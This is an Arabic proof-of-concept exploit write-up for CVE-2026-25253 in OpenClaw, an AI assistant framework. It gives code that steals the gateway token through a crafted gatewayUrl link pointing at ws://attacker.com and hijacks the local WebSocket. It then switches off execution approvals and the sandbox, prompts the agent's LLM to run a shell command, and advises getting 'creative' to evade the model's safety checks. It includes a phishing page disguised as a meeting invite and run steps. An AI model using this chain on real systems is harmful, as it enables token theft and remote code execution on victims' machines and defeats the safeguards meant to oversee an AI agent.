
إثبات مفهوم لاستغلال CVE-2026-25253، يوضح تنفيذًا عن بُعد للكود بنقرة واحدة في OpenClaw عبر سرقة رمز المصادقة واختطاف WebSocket عبر المواقع.
البرنامج المتأثر: OpenClaw (clawbot) < v2026.1.29
معرف CVE: CVE-2026-25253
درجة CVSS: 8.8 (عالية)
الأثر: يمكن لمهاجم عن بُعد غير مصادق سرقة رمز مصادقة وتحقيق تنفيذ تعليمات برمجية عن بُعد على جهاز الضحية
إخلاء مسؤولية قانوني: هذا الكود والشرح مقدم لأغراض البحث الأمني المصرح به والتعليم فقط. استخدام هذا الاستغلال ضد أنظمة دون إذن كتابي صريح غير قانوني وغير أخلاقي. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
OpenClaw، المعروف سابقًا باسم Clawdbot ويُشار إليه باسم Moltbot في الإصدارات المبكرة، هو إطار عمل لمساعد ذكاء اصطناعي يعمل محليًا على macOS أو Windows أو Linux. يدعم النماذج السحابية مثل Anthropic وOpenAI، بالإضافة إلى النماذج المحلية.
واجهة التحكم (Control UI) هي تطبيق صفحة واحدة، يُقدَّم على /chat. تتواصل مع خادم البوابة المحلي عبر WebSocket على ws://127.0.0.1:18789/ (أو wss://host:18789/ لـ TLS).
الخصائص الأمنية الرئيسية للإصدارات المتأثرة:
localStoragenoble-ed25519)type: "req"، "res"، "event")connectapplySettingsFromUrl()تقع الثغرة في applySettingsFromUrl() في واجهة التحكم.
عند تحميل واجهة التحكم، تقرأ هذه الدالة معامل الاستعلام ?gatewayUrl= من عنوان URL وتخزنه كنقطة نهاية البوابة النشطة — دون أي تحقق من أنه يشير إلى مضيف موثوق.
يمكن للمهاجم إنشاء رابط مثل:
http://<target>/chat?gatewayUrl=ws://attacker.com
عندما ينقر الضحية على هذا الرابط أثناء تسجيل دخوله إلى OpenClaw، يحدث التالي تلقائيًا:
applySettingsFromUrl() قيمة ws://attacker.com كعنوان URL جديد للبوابةconnect الخاص بها — بما في ذلك رمز المصادقة ومعرف الجهاز والمفتاح العام Ed25519 — إلى المهاجمws://127.0.0.1:18789في هذا الإثبات المفاهيمي، يستضيف المهاجم صفحة (meeting.html) تفتح واجهة تحكم الضحية في نافذة منبثقة، محقونة بمعامل ?gatewayUrl= الخبيث:
const attackerGatewayUrl = `ws://<attacker>:8080`;
const targetUrl = `http://127.0.0.1:18789?gatewayUrl=${encodeURIComponent(attackerGatewayUrl)}`;
window.open(targetUrl, '_blank');
يستغل خادم المهاجم آلية التراجع ذات الرمزين في OpenClaw: تستخدم محاولة connect الأولى رمز الجهاز (مرتبط بـ Ed25519، غير قابل لإعادة التشغيل). برفضه، يجبر الخادم واجهة التحكم على إعادة المحاولة بـ رمز الإعدادات — وهو رمز حامل طويل الأمد قابل لإعادة التشغيل:
// رفض المحاولة الأولى → يجبر واجهة التحكم على إعادة المحاولة برمز الإعدادات
if (connectAttempts === 1) {
ws.send({ type: 'res', ok: false, error: { code: 'AUTH_FAILED' } });
return;
}
// المحاولة الثانية → رمز الإعدادات → تم الالتقاط
capturedToken = token;
مع رمز الإعدادات المسروق، تفتح meeting.html اتصال WebSocket مباشرًا خاصًا بها إلى البوابة الحقيقية (ws://127.0.0.1:18789). هذا ممكن لأن البوابة في الإصدارات < v2026.1.29 لا تتحقق من ترويسة Origin — يمكن لأي صفحة محملة في متصفح الضحية الاتصال بها.
// إيقاف جميع مطالبات الموافقة على التنفيذ
await sendRequest('exec.approvals.set', {
file: {
defaults: { ask: 'off', autoAllowSkills: true },
agents: { '*': { ask: 'off' } },
}
});
// الخروج من حاوية العزل، إعادة توجيه التنفيذ إلى الجهاز المضيف
await sendRequest('config.patch', {
raw: JSON.stringify({
tools: { exec: { host: 'gateway', ask: 'off' } },
agents: { defaults: { sandbox: { mode: 'off' } } },
})
});
تتم معالجة محتوى حقل الرسالة بواسطة نموذج اللغة الكبير (LLM) المكوَّن في الوكيل، وهذا يعني أنه إذا اعتبر نموذج اللغة الكبير المحتوى ضارًا، فلن ينفذ الأمر. يجب أن تكون مبدعًا لتجاوز الإجراءات الأمنية لنموذج اللغة الكبير.
await sendRequest('agent', {
message: 'Execute this shell command: <payload>',
agentId: 'main',
sessionKey: 'agent:main:main',
deliver: false,
});
sequenceDiagram
autonumber
actor Attacker
participant Browser as Victim Browser<br/>(meeting.html)
participant CtrlUI as OpenClaw Control UI<br/>(popup @ 127.0.0.1:18789/chat)
participant AtkWS as Attacker WS Server<br/>(:8080)
participant GW as Real OpenClaw Gateway<br/>(127.0.0.1:18789)
participant LLM as Cloud LLM<br/>(OpenAI / Anthropic)
Attacker->>Browser: Phishing link → opens meeting.html<br/>(disguised as a Teams invite)
Note over Browser: Phase 1 — Token Theft
Browser->>CtrlUI: Opens popup with ?gatewayUrl=ws://attacker:8080
Note over CtrlUI: applySettingsFromUrl() stores<br/>attacker WS as active gateway
CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
AtkWS-->>CtrlUI: ✗ AUTH_FAILED (reject — forces retry)
CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
AtkWS-->>CtrlUI: ✓ hello-ok (fake response)
AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }
Note over Browser: Phase 2 — Gateway Hijack (CSWSH)
Browser->>GW: WebSocket connect (no Origin validation)<br/>auth { token: SETTINGS_TOKEN }
GW-->>Browser: ✓ Authenticated as operator
Note over Browser: Phase 3 — Security Bypass
Browser->>GW: exec.approvals.set { ask: "off" }
GW-->>Browser: ✓ Approval prompts disabled
Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
GW-->>Browser: ✓ Sandbox disabled, exec on host
Note over Browser: Phase 4 — Remote Code Execution
Browser->>GW: agent { message: "Execute shell command: COMMAND" }
GW->>LLM: Forward prompt (security already stripped)
LLM-->>GW: Tool call: exec("COMMAND")
GW->>GW: Runs command on HOST filesystem
GW-->>Browser: ✓ Command executed
npm install # installs 'ws' dependency
meeting.htmlconst GATEWAY_URL = 'ws://127.0.0.1:18789'; // victim's local gateway
const ATTACKER_WS_PORT = 8080; // must match attacker-server.js
const COMMAND = 'touch /tmp/success';
node attacker-server.js
أرسل إلى الضحية:
http://<ATTACKER_IP>:3000/meeting.html